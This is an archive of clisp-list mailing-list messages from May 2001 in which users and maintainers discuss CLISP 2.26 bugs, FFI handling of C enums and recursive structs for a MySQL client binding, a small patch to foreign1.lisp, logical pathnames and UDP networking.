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On Fri, May 25, 2001 at 03:17:37PM -0700, Miles Egan wrote:
> The makefile generated in the 'src' directory includes this in the comments:
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> # The requirements made there (i.e. the existence of a "link.sh" file
> # which defines certain variables) make sure that such an add-on module
> # can be distributed with CLISP.
> """
> 
> But there doesn't seem to be a ../doc/module.txt.  Has it been folded into the

Hi

All the info needed for writing add-on modules is in impnotes.html
under the extensions section.  You can also look at "extend.txt" in
doc, but impnotes tells you everything you need to know.

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I just compiled CLISP 2.26 with the REGEXP module and I have the
following problem with it:


[1]> (lisp-implementation-version)
"2.26 (released 2001-05-23) (built on dalet.fauser.it [192.168.1.2])"
[2]> (regexp:match "abcd" "abcdefgh")

*** - FUNCALL: the function REGEXP::FINALIZE is undefined
1. Break [3]> 


The error seems to be in the function REGEXP-COMPILE in regexp.lisp:
FINALIZE is now in the EXT package.

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> * In message <15121.3524.491290.558297@ghimel.fauser.it>
> * On the subject of "[clisp-list] REGEXP problem with CLISP 2.26"
> * Sent on Sun, 27 May 2001 16:23:00 +0200
> * Honorable Aurelio Bignoli <a.bignoli@computer.org> writes:
>
> I just compiled CLISP 2.26 with the REGEXP module and I have the
> following problem with it:
> 
> *** - FUNCALL: the function REGEXP::FINALIZE is undefined
> 1. Break [3]> 

thanks for the report - I just fixed it.
please get the latest CLISP from CVS.

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Aurelio Bignoli wrote:

> I just compiled CLISP 2.26 with the REGEXP module and I have the
> following problem with it:
> 
> 
> [1]> (lisp-implementation-version)
> "2.26 (released 2001-05-23) (built on dalet.fauser.it [192.168.1.2])"
> [2]> (regexp:match "abcd" "abcdefgh")
> 
> *** - FUNCALL: the function REGEXP::FINALIZE is undefined
> 1. Break [3]> 
> 
> 
> The error seems to be in the function REGEXP-COMPILE in regexp.lisp:
> FINALIZE is now in the EXT package.

But the clisp.sourceforge.net says the latest version is 2.25.1
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Hi

Would it be possible for small fixes like the regexp one to be
released as diffs.  It would make it easier for new users.  If they
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Hi

The manual page mentions a built-in screen editor (under the
ENVIRONMENT -> TERM section).  There are also references to it on the
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Is the source for it still available somewhere.  Does clisp-1999-07-22
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Hello.

What is the CLISP FFI C type for enum??  I can't find it in the
documentation, and i've tried (c-enum ) (c-enumeration ) (enum )
(enumeration ) and all give me an error.  The following fails, tells me
"*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.":

(def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET NET_TYPE_NAMEDPIPE)

(def-c-struct st_net
  (nettype enum_net_type)
  (fd int)
  .... )

And with (c-enum ) and the others it just says it doesent know what they
are:

(def-c-struct st_net
  (nettype (c-enum enum_net_type))
  (fd int)
  .... )

here's the corresponding c code:

enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET, NET_TYPE_NAMEDPIPE };

typedef struct st_net {
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On Mon, May 28, 2001 at 01:26:08AM -0700, Eric de Groot wrote:
> Hello.
> 
> What is the CLISP FFI C type for enum??  I can't find it in the
> documentation, and i've tried (c-enum ) (c-enumeration ) (enum )
> (enumeration ) and all give me an error.  The following fails, tells me
> "*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.":
> 
> (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET NET_TYPE_NAMEDPIPE)
> 
> (def-c-struct st_net
>   (nettype enum_net_type)
>   (fd int)
>   .... )
<snip>
> 
> here's the corresponding c code:
> 
> enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET, NET_TYPE_NAMEDPIPE };
> 
> typedef struct st_net {
>   enum enum_net_type nettype;
>   int fd;
>   ....
> };
> 

Hi,

There's probably a better answer than this one, but here goes:
In C enum is compatible with int, so you should be able to do,

(def-c-struct st_net
  (nettype int)
  (fd int))

Regards,
Peter

Ps. If you don't like having "int" for readability, you could 
do:

(def-c-type c_enum int)

before. 


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> * In message <3B119184.4010201@163.net>
> * On the subject of "Re: [clisp-list] REGEXP problem with CLISP 2.26"
> * Sent on Mon, 28 May 2001 07:45:08 +0800
> * Honorable Bruce <bruce253@163.net> writes:
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> But the clisp.sourceforge.net says the latest version is 2.25.1
> (2001-04-06). And it's OK on 2.25.1.

2.26 was released on 2001-05-23.
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> On Mon, May 28, 2001 at 01:26:08AM -0700, Eric de Groot wrote:
> > Hello.
> > 
> > What is the CLISP FFI C type for enum??  I can't find it in the
> > documentation, and i've tried (c-enum ) (c-enumeration ) (enum )
> > (enumeration ) and all give me an error.  The following fails, tells me
> > "*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.":
> > 
> > (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET NET_TYPE_NAMEDPIPE)
> > 
> > (def-c-struct st_net
> >   (nettype enum_net_type)
> >   (fd int)
> >   .... )
> <snip>
> > 
> > here's the corresponding c code:
> > 
> > enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET, NET_TYPE_NAMEDPIPE };
> > 
> > typedef struct st_net {
> >   enum enum_net_type nettype;
> >   int fd;
> >   ....
> > };
> > 
> 
> Hi,
> 
> There's probably a better answer than this one, but here goes:
> In C enum is compatible with int, so you should be able to do,
> 
> (def-c-struct st_net
>   (nettype int)
>   (fd int))
> 
> Regards,
> Peter
> 
> Ps. If you don't like having "int" for readability, you could 
> do:
> 
> (def-c-type c_enum int)
> 
> before. 
> 

That is true, but sometimes the C compiler may complain for functions
which do not actually use the enumerated type.

I believe this is a shortcoming of CLisp FFI (shared by ACL FFI).  It
should not be difficult to add them.  After all CMUCL and LW have C
enumerations.

But I am talking without knowing much.

Cheers

Marco


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Thanks for the info.  I'll try using int.  Otherwise this really sucks.
When you say it shouldnt be to hard to add (c-enum ), do you it shouldnt be
to hard for me to add, or should be to hard to the developers of clisp?  Are
the defs for these functions/macros available for editing somewhere in my
local clisp tree?  Thanks.

-Eric de Groot
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> > > Hello.
> > >
> > > What is the CLISP FFI C type for enum??  I can't find it in the
> > > documentation, and i've tried (c-enum ) (c-enumeration ) (enum )
> > > (enumeration ) and all give me an error.  The following fails, tells
me
> > > "*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.":
> > >
> > > (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET
NET_TYPE_NAMEDPIPE)
> > >
> > > (def-c-struct st_net
> > >   (nettype enum_net_type)
> > >   (fd int)
> > >   .... )
> > <snip>
> > >
> > > here's the corresponding c code:
> > >
> > > enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET,
NET_TYPE_NAMEDPIPE };
> > >
> > > typedef struct st_net {
> > >   enum enum_net_type nettype;
> > >   int fd;
> > >   ....
> > > };
> > >
> >
> > Hi,
> >
> > There's probably a better answer than this one, but here goes:
> > In C enum is compatible with int, so you should be able to do,
> >
> > (def-c-struct st_net
> >   (nettype int)
> >   (fd int))
> >
> > Regards,
> > Peter
> >
> > Ps. If you don't like having "int" for readability, you could
> > do:
> >
> > (def-c-type c_enum int)
> >
> > before.
> >
>
> That is true, but sometimes the C compiler may complain for functions
> which do not actually use the enumerated type.
>
> I believe this is a shortcoming of CLisp FFI (shared by ACL FFI).  It
> should not be difficult to add them.  After all CMUCL and LW have C
> enumerations.
>
> But I am talking without knowing much.
>
> Cheers
>
> Marco
>
>
> --
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I just posted a question about using an enumeration defined with def-c-enum
as a var type, but there doesent seem to be support for it.  What's the
purpose of (def-c-enum ) then?  How can it be used if there isent an enum
type??  Thanks.

-eric


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> > >
> > > What is the CLISP FFI C type for enum??  I can't find it in the
> > > documentation, and i've tried (c-enum ) (c-enumeration ) (enum )
> > > (enumeration ) and all give me an error.  The following fails, tells
me
> > > "*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.":
> > >
> > > (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET
NET_TYPE_NAMEDPIPE)
> > >
> > > (def-c-struct st_net
> > >   (nettype enum_net_type)
> > >   (fd int)
> > >   .... )
> > <snip>
> > >
> > > here's the corresponding c code:
> > >
> > > enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET,
NET_TYPE_NAMEDPIPE };
> > >
> > > typedef struct st_net {
> > >   enum enum_net_type nettype;
> > >   int fd;
> > >   ....
> > > };
> > >
> >
> > Hi,
> >
> > There's probably a better answer than this one, but here goes:
> > In C enum is compatible with int, so you should be able to do,
> >
> > (def-c-struct st_net
> >   (nettype int)
> >   (fd int))
> >
> > Regards,
> > Peter
> >
> > Ps. If you don't like having "int" for readability, you could
> > do:
> >
> > (def-c-type c_enum int)
> >
> > before.
> >
>
> That is true, but sometimes the C compiler may complain for functions
> which do not actually use the enumerated type.
>
> I believe this is a shortcoming of CLisp FFI (shared by ACL FFI).  It
> should not be difficult to add them.  After all CMUCL and LW have C
> enumerations.
>
> But I am talking without knowing much.
>
> Cheers
>
> Marco
>
>
> --
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More FFI problems;)  I switched my enumerations over to ints so clisp gets
past that, but instead now I get:

Compiling file /usr/local/lib/clisp/callmystuff.lisp ...
*** - Lisp stack overflow. RESET

What causes a stack overflow?  In callmystuff.lisp I have about 5-6
(def-c-structs ) each with about 10-15 members, followed by a single
(def-c-call-out ) at the end of the file:

(def-c-call-out myfun (:arguments (myarg (c-ptr st_mystuff) :in :alloca))
                           (:return-type (c-ptr st_mystuff)))

If I remove/comment out this c call out the compilation goes fine, showing 0
errors, but at soon as I add this back in I get the Lisp stack overflow.
Any ideas?  Thanks.

-Eric de Groot
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> > On Mon, May 28, 2001 at 01:26:08AM -0700, Eric de Groot wrote:
> > > Hello.
> > >
> > > What is the CLISP FFI C type for enum??  I can't find it in the
> > > documentation, and i've tried (c-enum ) (c-enumeration ) (enum )
> > > (enumeration ) and all give me an error.  The following fails, tells
me
> > > "*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.":
> > >
> > > (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET
NET_TYPE_NAMEDPIPE)
> > >
> > > (def-c-struct st_net
> > >   (nettype enum_net_type)
> > >   (fd int)
> > >   .... )
> > <snip>
> > >
> > > here's the corresponding c code:
> > >
> > > enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET,
NET_TYPE_NAMEDPIPE };
> > >
> > > typedef struct st_net {
> > >   enum enum_net_type nettype;
> > >   int fd;
> > >   ....
> > > };
> > >
> >
> > Hi,
> >
> > There's probably a better answer than this one, but here goes:
> > In C enum is compatible with int, so you should be able to do,
> >
> > (def-c-struct st_net
> >   (nettype int)
> >   (fd int))
> >
> > Regards,
> > Peter
> >
> > Ps. If you don't like having "int" for readability, you could
> > do:
> >
> > (def-c-type c_enum int)
> >
> > before.
> >
>
> That is true, but sometimes the C compiler may complain for functions
> which do not actually use the enumerated type.
>
> I believe this is a shortcoming of CLisp FFI (shared by ACL FFI).  It
> should not be difficult to add them.  After all CMUCL and LW have C
> enumerations.
>
> But I am talking without knowing much.
>
> Cheers
>
> Marco
>
>
> --
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I still don't get this.  I think I figured out the source of the problem
though:

(def-c-struct st_stuff
  (next (c-ptr st_stuff))
  ...)

(def-c-struct st_mystuff
    (stuff (c-ptr st_stuff))
    ...)

(def-c-call-out myfun (:arguments (myarg (c-ptr st_mystuff) :in :alloca))
                           (:return-type (c-ptr st_mystuff)))

If I remove the (next (c-ptr st_stuff)) I get no stack overflow.  st_stuff
is a linked list, the next pointer is screwing me up.  It's only when I use
st_mystuff in the def-c-call-out, if change the types in the def-c-call-out
to something else it also compiles fine.

Does anyone even use CLISP's FFI?  On the CLISP page there are some clisp
packages, but from lookin around in the source it doesent look like any use
the FFI.

Thanks again.

-Eric de Groot
mailto:eric@ericdegroot.com


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Subject: [clisp-list] FFI: "Lisp stack overflow. RESET"


> More FFI problems;)  I switched my enumerations over to ints so clisp gets
> past that, but instead now I get:
>
> Compiling file /usr/local/lib/clisp/callmystuff.lisp ...
> *** - Lisp stack overflow. RESET
>
> What causes a stack overflow?  In callmystuff.lisp I have about 5-6
> (def-c-structs ) each with about 10-15 members, followed by a single
> (def-c-call-out ) at the end of the file:
>
> (def-c-call-out myfun (:arguments (myarg (c-ptr st_mystuff) :in :alloca))
>                            (:return-type (c-ptr st_mystuff)))
>
> If I remove/comment out this c call out the compilation goes fine, showing
0
> errors, but at soon as I add this back in I get the Lisp stack overflow.
> Any ideas?  Thanks.
>
> -Eric de Groot
> mailto:eric@ericdegroot.com
>
>
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> > > On Mon, May 28, 2001 at 01:26:08AM -0700, Eric de Groot wrote:
> > > > Hello.
> > > >
> > > > What is the CLISP FFI C type for enum??  I can't find it in the
> > > > documentation, and i've tried (c-enum ) (c-enumeration ) (enum )
> > > > (enumeration ) and all give me an error.  The following fails, tells
> me
> > > > "*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.":
> > > >
> > > > (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET
> NET_TYPE_NAMEDPIPE)
> > > >
> > > > (def-c-struct st_net
> > > >   (nettype enum_net_type)
> > > >   (fd int)
> > > >   .... )
> > > <snip>
> > > >
> > > > here's the corresponding c code:
> > > >
> > > > enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET,
> NET_TYPE_NAMEDPIPE };
> > > >
> > > > typedef struct st_net {
> > > >   enum enum_net_type nettype;
> > > >   int fd;
> > > >   ....
> > > > };
> > > >
> > >
> > > Hi,
> > >
> > > There's probably a better answer than this one, but here goes:
> > > In C enum is compatible with int, so you should be able to do,
> > >
> > > (def-c-struct st_net
> > >   (nettype int)
> > >   (fd int))
> > >
> > > Regards,
> > > Peter
> > >
> > > Ps. If you don't like having "int" for readability, you could
> > > do:
> > >
> > > (def-c-type c_enum int)
> > >
> > > before.
> > >
> >
> > That is true, but sometimes the C compiler may complain for functions
> > which do not actually use the enumerated type.
> >
> > I believe this is a shortcoming of CLisp FFI (shared by ACL FFI).  It
> > should not be difficult to add them.  After all CMUCL and LW have C
> > enumerations.
> >
> > But I am talking without knowing much.
> >
> > Cheers
> >
> > Marco
> >
> >
> > --
> > Marco Antoniotti
========================================================
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Hello-

    Yeah, i'm just using int now instead, thanks, but I have a new problem
maybee you can help me with.  Btw, I'm running:

GNU CLISP 2.25.1 (released 2001-04-06) (built 3199588721) (memory
3199589569)
on Debian GNU/Linux 2.2

I'm trying to write the FFI lisp for libmysqlclient, here's what I've got:

mysql.lisp:

(in-package "MYSQL" :use '("LISP" "FFI"))

; typedef struct st_net {
;   enum enum_net_type nettype;
;   my_socket fd;
;   int fcntl;
;   unsigned char *buff,*buff_end,*write_pos,*read_pos;
;   char last_error[MYSQL_ERRMSG_SIZE];
;   unsigned int last_errno,max_packet,timeout,pkt_nr;
;   my_bool error,return_errno,compress;
;   unsigned long remain_in_buf,length, buf_length, where_b;
;   my_bool more;
;   char save_char;
; } NET;

(def-c-struct st_net
  (nettype int)
  (fd int)
  (fcntl int)
  (buff (c-ptr uchar))
  (buff_end (c-ptr uchar))
  (write_pos (c-ptr uchar))
  (read_pos (c-ptr uchar))
  (last_error (c-array char 200))
  (last_errno uint)
  (max_packet uint)
  (timeout uint)
  (pkt_nr uint)
  (error char)
  (return_errno char)
  (compress char)
  (remain_in_buf ulong)
  (length ulong)
  (buf_length ulong)
  (where_b ulong)
  (more char)
  (save_char char))

; typedef struct st_mysql_field {
;   char *name;   /* Name of column */
;   char *table;   /* Table of column if column was a field */
;   char *def;   /* Default value (set by mysql_list_fields) */
;   enum enum_field_types type; /* Type of field. Se mysql_com.h for types
*/
;   unsigned int length;  /* Width of column */
;   unsigned int max_length; /* Max width of selected set */
;   unsigned int flags;  /* Div flags */
;   unsigned int decimals; /* Number of decimals in field */
; } MYSQL_FIELD;

(def-c-struct st_mysql_field
  (name c-string)
  (table c-string)
  (def c-string)
  (type int)
  (length uint)
  (max_length uint)
  (flags uint)
  (decimals uint))

; typedef struct st_used_mem {   /* struct for once_alloc */
;  struct st_used_mem *next;   /* Next block in use */
;  unsigned int left;    /* memory left in block  */
;  unsigned int size;    /* size of block */
; } USED_MEM;

(def-c-struct st_used_mem
  (next (c-ptr st_used_mem)) ; *** comment this line out and no stack
overflow.. ***
  (left uint)
  (size uint))

; typedef struct st_mem_root {
;   USED_MEM *free;
;   USED_MEM *used;
;   unsigned int min_malloc;
;   unsigned int block_size;
;   void (*error_handler)(void);
; } MEM_ROOT;

(def-c-struct st_mem_root
  (free (c-ptr st_used_mem))
  (used (c-ptr st_used_mem))
  (min_malloc uint)
  (block_size uint)
  (error_handler (c-function)))

; struct st_mysql_options {
;   unsigned int connect_timeout,client_flag;
;   my_bool compress,named_pipe;
;   unsigned int port;
;   char *host,*init_command,*user,*password,*unix_socket,*db;
;   char *my_cnf_file,*my_cnf_group;
; };

(def-c-struct st_mysql_options
  (connect_timeout uint)
  (client_flag uint)
  (compress char)
  (named_pipe char)
  (port uint)
  (host c-string)
  (init_command c-string)
  (user c-string)
  (password c-string)
  (unix_socket c-string)
  (db c-string)
  (my_cnf_file c-string)
  (my_cnf_group c-string))

; typedef struct st_mysql {
;   NET  net;   /* Communication parameters */
;   char  *host,*user,*passwd,*unix_socket,*server_version,*host_info,
;   *info,*db;
;   unsigned int port,client_flag,server_capabilities;
;   unsigned int protocol_version;
;   unsigned int field_count;
;   unsigned long thread_id;  /* Id for connection in server */
;   my_ulonglong affected_rows;
;   my_ulonglong insert_id;  /* id if insert on table with NEXTNR */
;   my_ulonglong extra_info;  /* Used by mysqlshow */
;   unsigned long packet_length;
;   enum mysql_status status;
;   MYSQL_FIELD *fields;
;   MEM_ROOT field_alloc;
;   my_bool free_me;  /* If free in mysql_close */
;   my_bool reconnect;  /* set to 1 if automatic reconnect */
;   struct st_mysql_options options;
; } MYSQL;

(def-c-struct st_mysql
  (net st_net)
  (host c-string)
  (user c-string)
  (passwd c-string)
  (unix_socket c-string)
  (server_version c-string)
  (host_info c-string)
  (info c-string)
  (db c-string)
  (port uint)
  (client_flag uint)
  (server_capabilities uint)
  (protocol_version uint)
  (field_count uint)
  (thread_id ulong)
  (affected_rows ulong)
  (insert_id ulong)
  (extra_info ulong)
  (packet_length ulong)
  (status int)
  (fields (c-ptr st_mysql_field))
  (field_alloc st_mem_root)
  (free_me char)
  (reconnect char)
  (options st_mysql_options))

; MYSQL *  STDCALL mysql_init(MYSQL *mysql);

(def-c-call-out mysql_init (:arguments (mysql (c-ptr st_mysql) :in :alloca))
                           (:return-type (c-ptr st_mysql)))

; EOF

clisp compiles it fine as long as the (next ) member is commented out in
st_used_mem.  Any ideas?

Thanks.

-Eric de Groot
mailto:eric@ericdegroot.com

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To: "Eric de Groot" <eric@ericdegroot.com>
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Subject: Re: [clisp-list] What's the purpose of (def-c-enum ) then?


> On Mon, May 28, 2001 at 04:32:38PM -0700, Eric de Groot wrote:
> > I just posted a question about using an enumeration defined with
def-c-enum
> > as a var type, but there doesent seem to be support for it.  What's the
> > purpose of (def-c-enum ) then?  How can it be used if there isent an
enum
> > type??  Thanks.
> >
> Hi
>
> def-c-enum works fine.  The reason your original didn't work (I think)
> is that you used it inside the def-c-struct.
>
> You had:
>
> (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET
NET_TYPE_NAMEDPIPE)
>
> This declares NET_TYPE_* to be constants 0, 1, 2 respectively.
>
> (def-c-struct st_net
>   (nettype enum_net_type)
>   (fd int)
>   .... )
>
> The first statement is fine.  But you can't even do the second in C!
> Your C "equivalent" which you gave was:
>
> typedef struct st_net {
>   enum enum_net_type nettype;
>   int fd;
>   ....
> };
>
> which seems correct(1), although *not* the same thing.  If you were
> going to write an equivalent in FFI it should be:
>
> (def-c-struct st_net
>  (def-c-enum enum_net_type ...)
>
> I don't think you can do that.  Thats why I suggested declaring
> nettype to be an int.
>
> You also ask if anyone uses the FFI.  Yes, look in
> $clisp-src/modules/*.
>
> You should also give more information when you ask questions.  What
> clisp version are you using?  What is it running on.  Have you made
> any changes, etc.  It's really difficult trying to *guess* what you
> are doing.
>
> Regards,
> Peter
>



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On Tue, May 29, 2001 at 02:12:57AM -0700, Eric de Groot wrote:
> Hello-
> 
>     Yeah, i'm just using int now instead, thanks, but I have a new problem
> maybee you can help me with.  Btw, I'm running:
> 
> GNU CLISP 2.25.1 (released 2001-04-06) (built 3199588721) (memory
> 3199589569)
> on Debian GNU/Linux 2.2

The latest is 2.26.

> 
> I'm trying to write the FFI lisp for libmysqlclient, here's what I've got:
> 
> mysql.lisp:
> 
> 
> ; typedef struct st_used_mem {   /* struct for once_alloc */
> ;  struct st_used_mem *next;   /* Next block in use */
> ;  unsigned int left;    /* memory left in block  */
> ;  unsigned int size;    /* size of block */
> ; } USED_MEM;
> 
> (def-c-struct st_used_mem
>   (next (c-ptr st_used_mem)) ; *** comment this line out and no stack
> overflow.. ***
>   (left uint)
>   (size uint))

I don't know why this happens.  Sorry. 

Regards,
Peter


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> Thanks for the info.  I'll try using int.  Otherwise this really sucks.
> When you say it shouldnt be to hard to add (c-enum ), do you it shouldnt be
> to hard for me to add, or should be to hard to the developers of clisp?  Are
> the defs for these functions/macros available for editing somewhere in my
> local clisp tree?  Thanks.

It would certinly be easier for the CLisp main developers.  Myself
personally, wouldn't know where to start to look at.

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> * In message <20010528082114.A254@localhost.localdomain>
> * On the subject of "[clisp-list] fixes as diffs?"
> * Sent on Mon, 28 May 2001 08:21:14 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
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> Would it be possible for small fixes like the regexp one to be
> released as diffs.  It would make it easier for new users.

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Dear all,

I think we're getting closer on the common-lisp-controller
front... (see clisp-devel passim); the next complaint I have (sorry)
is with compile-file-pathname (and compile-file).

The Hyperspec says:

 compile-file-pathname input-file &key output-file &allow-other-keys
 => pathname

 If input-file is a logical pathname and output-file is unsupplied,
 the result is a logical pathname.

However, clisp -ansi as of this morning gives:

[23]> (compile-file-pathname #p"cl-library:;metering;metering.lisp")

*** - PARSE-NAMESTRING: argument should be a string, symbol, file
      stream or pathname, not #<UNBOUND>

This seems to be somewhere in sys::search-file, which I confess I
don't understand; however, the call to directory in search-file looks
suspicious, as it's likely to destroy logical pathname information,
though this doesn't seem likely to cause the above error.

I also think that the call 

(merge-pathnames '#".fas" input-file) 

in compile-file-pathname-helper is likely to cause problems; I get

[30]> (merge-pathnames #".fas" #p"cl-library:metering;metering.lisp")
#P"/usr/share/common-lisp/source/metering/metering.fas"

Where the hyperspec for merge-pathnames says:

 merge-pathnames pathname &optional default-pathname default-version

 If pathname does not specify a host, device, directory, name, or
 type, each such component is copied from default-pathname.

and

(pathname-host #p"/usr/share/common-lisp/source/metering/metering.fas")
=> NIL

I think that instead you want something semantically like

(make-pathname :defaults input-file :type "fas")

Except that this currently fails for exactly the same reason as above
(returning a physical rather than a logical pathname)

The point of this is that I believe that logical pathnames support
compiling "foo:bar;baz.lisp" to "foo:bar;baz.fas", where the
translations for "**;*.lisp" and "**;*.fas" point to completely
different physical directories or filesystems.

I apologize for the slightly dense message and that I'm not really
providing solutions; please let me know if there's any clarification I
can provide.

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Hi, does CLISP (for unix) support communication over UDP/IP?

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> * In message <00c901c0e7d3$dd7df8b0$4381fb18@CX417245D>
> * On the subject of "[clisp-list] FFI: "Lisp stack overflow. RESET""
> * Sent on Mon, 28 May 2001 17:11:09 -0700
> * Honorable "Eric de Groot" <eric@ericdegroot.com> writes:
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> More FFI problems;) I switched my enumerations over to ints so clisp

please try this patch for your enum problems.:
------------------------------------------
--- foreign1.lisp.~1.5.~	Fri May  4 18:06:07 2001
+++ foreign1.lisp	Tue May 29 10:52:44 2001
@@ -1051,6 +1051,7 @@
       (push `(DEFCONSTANT ,item ,next-value) forms)
       (setq next-value `(1+ ,item))
     )
+    (setf (gethash name *c-type-table*) 'int)
     `(PROGN ,@(nreverse forms) ',name)
 ) )
 
------------------------------------------

> gets past that, but instead now I get:
> 
> Compiling file /usr/local/lib/clisp/callmystuff.lisp ...
> *** - Lisp stack overflow. RESET

please send "callmystuff.lisp" (trim is down as much as possible)

People, _PLEASE_ _DO_ edit the quoted text in your messages.
100 lines of appended old messasges and 50 lines of headers of old
messages are _NOT_ appreciated.
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> * In message <2hbsocb4gv.fsf@dslab7.cs.uit.no>
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> * Sent on 29 May 2001 16:43:44 +0200
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> Hi, does CLISP (for unix) support communication over UDP/IP?

I don't think so.
what do you need this for?

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> > * Honorable Frode Vatvedt Fjeld <frodef@acm.org> writes:
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> > Hi, does CLISP (for unix) support communication over UDP/IP?

Sam Steingold <sds@gnu.org> writes:

> I don't think so.  what do you need this for?

Well, I need it.. can I build something atop the FFI interface and
libc funtions?

Is there an (relatively) easy way to interface libc (FreeBSD) in
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> * In message <2hy9rg9bam.fsf@dslab7.cs.uit.no>
> * On the subject of "Re: [clisp-list] UDP network streams"
> * Sent on 29 May 2001 21:59:13 +0200
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> can I build something atop the FFI interface and
> libc funtions?
> 
> Is there an (relatively) easy way to interface libc (FreeBSD) in
> CLISP?

yep - FFI is your friend.
look at modules/bindings/linuxlibc6 in the CLISP source tree.

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Hi,

I've read Jeff Dalton's "A Brief Guide to CLOS". Is there a more detailed
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On 15 May 2001, Sam Steingold wrote:

> the portable way to do GUI is to interface with an html browser.
> CLISP inspector works that way.

Is there some documentation on how to use the CLISP inspector?

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Sam Steingold <sds@gnu.org> writes:

> yep - FFI is your friend.  look at modules/bindings/linuxlibc6 in
> the CLISP source tree.

Ok, now what is the intended way to pass buffers between lisp and C?

For example, the libc read function is defined like this

  (def-c-call-out read (:arguments (fd int) (buf c-pointer) (nbytes size_t))
                       (:return-type ssize_t)
                       (:name "full_read"))

What sort of lisp object can be used as a BUF here? I tried using an
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Hey-

    Me again:P  Anyways, I still havent gotten that ffi lisp for
libmysqlclient to compile, so I'm trying the unstable version 2.26 to see if
this was possibly a bug that may have been addressed.  Anyways, for 2.26,
make is failing at:

./lisp.run -m 1000KW -M interpreted.mem -B . -N locale -Efile
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Compiling file /root/clisp-2.26/src/screen.lisp ...
*** - There is no package with name "SCREEN"
make: *** [screen.fas] Error 1

In screen.lisp the (use-package ... "SCREEN") isent find SCREEN?  Anyone
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Thanks!  CLISP needs mysql!

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> * In message <013c01c0e7f6$e518c230$4381fb18@CX417245D>
> * On the subject of "Re: [clisp-list] FFI: "Lisp stack overflow. RESET""
> * Sent on Mon, 28 May 2001 21:21:55 -0700
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> I still don't get this.  I think I figured out the source of the problem
> though:
> 
> (def-c-struct st_stuff
>   (next (c-ptr st_stuff))
>   ...)
> 
> (def-c-struct st_mystuff
>     (stuff (c-ptr st_stuff))
>     ...)
> 
> (def-c-call-out myfun (:arguments (myarg (c-ptr st_mystuff) :in :alloca))
>                            (:return-type (c-ptr st_mystuff)))
> 
> If I remove the (next (c-ptr st_stuff)) I get no stack overflow.  st_stuff
> is a linked list, the next pointer is screwing me up.  It's only when I use
> st_mystuff in the def-c-call-out, if change the types in the def-c-call-out
> to something else it also compiles fine.

I believe I fixed this bug,
You will have to get the sources from the CVS.

Thanks for reporting the bug.

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> * In message <Pine.LNX.4.30.0105291628480.7710-100000@illusions.com>
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> On 15 May 2001, Sam Steingold wrote:
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> > the portable way to do GUI is to interface with an html browser.
> > CLISP inspector works that way.
> 
> Is there some documentation on how to use the CLISP inspector?

see the impnotes for all the documentation we have.

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> * In message <2h8zjfaebj.fsf@dslab7.cs.uit.no>
> * On the subject of "Re: [clisp-list] UDP network streams"
> * Sent on 30 May 2001 02:08:32 +0200
> * Honorable Frode Vatvedt Fjeld <frodef@acm.org> writes:
>
> Sam Steingold <sds@gnu.org> writes:
> 
> > yep - FFI is your friend.  look at modules/bindings/linuxlibc6 in
> > the CLISP source tree.
> 
> Ok, now what is the intended way to pass buffers between lisp and C?
> 
> For example, the libc read function is defined like this
> 
>   (def-c-call-out read (:arguments (fd int) (buf c-pointer) (nbytes size_t))
>                        (:return-type ssize_t)
>                        (:name "full_read"))
> 
> What sort of lisp object can be used as a BUF here? I tried using an
> array, but that didn't work..?

I would think (array (unsigned-byte 8) nbytes)

please look at the modules/bindings/linuxlibc6.



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> * In message <008801c0e8ca$cbf060e0$4381fb18@CX417245D>
> * On the subject of "[clisp-list] compiling 2.26"
> * Sent on Tue, 29 May 2001 22:38:41 -0700
> * Honorable "Eric de Groot" <eric@ericdegroot.com> writes:
>
> libmysqlclient to compile, so I'm trying the unstable version 2.26 to

what makes you think it is unstable?!

> see if this was possibly a bug that may have been addressed.  Anyways,
> for 2.26, make is failing at:
> 
> ../lisp.run -m 1000KW -M interpreted.mem -B . -N locale -Efile
> UTF-8 -norc -q -c screen.lisp
> 
> Compiling file /root/clisp-2.26/src/screen.lisp ...
> *** - There is no package with name "SCREEN"
> make: *** [screen.fas] Error 1
> 
> In screen.lisp the (use-package ... "SCREEN") isent find SCREEN?  Anyone
> know what the problem might be?  2.25 compiled straight through no probs.

where did you get your CLISP sources?
what is your system? (uname -a)
why are you building CLISP as root?!
what command did you use to compile CLISP?

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> * In message <20010529153914.A1255@cam.ac.uk>
> * On the subject of "[clisp-list] Pathnames..."
> * Sent on Tue, 29 May 2001 15:39:14 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> However, clisp -ansi as of this morning gives:

if you live on the bleeding edge, you should subscribe to clisp-devel.

> [23]> (compile-file-pathname #p"cl-library:;metering;metering.lisp")
> 
> *** - PARSE-NAMESTRING: argument should be a string, symbol, file
>       stream or pathname, not #<UNBOUND>

I do not observe this.  Moreover, #p"cl-library:;metering;metering.lisp"
is not a logical pathname.

(compile-file-pathname (logical-pathname "clocc:clocc.lisp"))
is buggy, and, hopefully, will be fixed shortly.

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On Tue, May 29, 2001 at 04:29:31PM -0700, Dennis wrote:
> On 15 May 2001, Sam Steingold wrote:
> 
> > the portable way to do GUI is to interface with an html browser.
> > CLISP inspector works that way.
> 
> Is there some documentation on how to use the CLISP inspector?

Hi

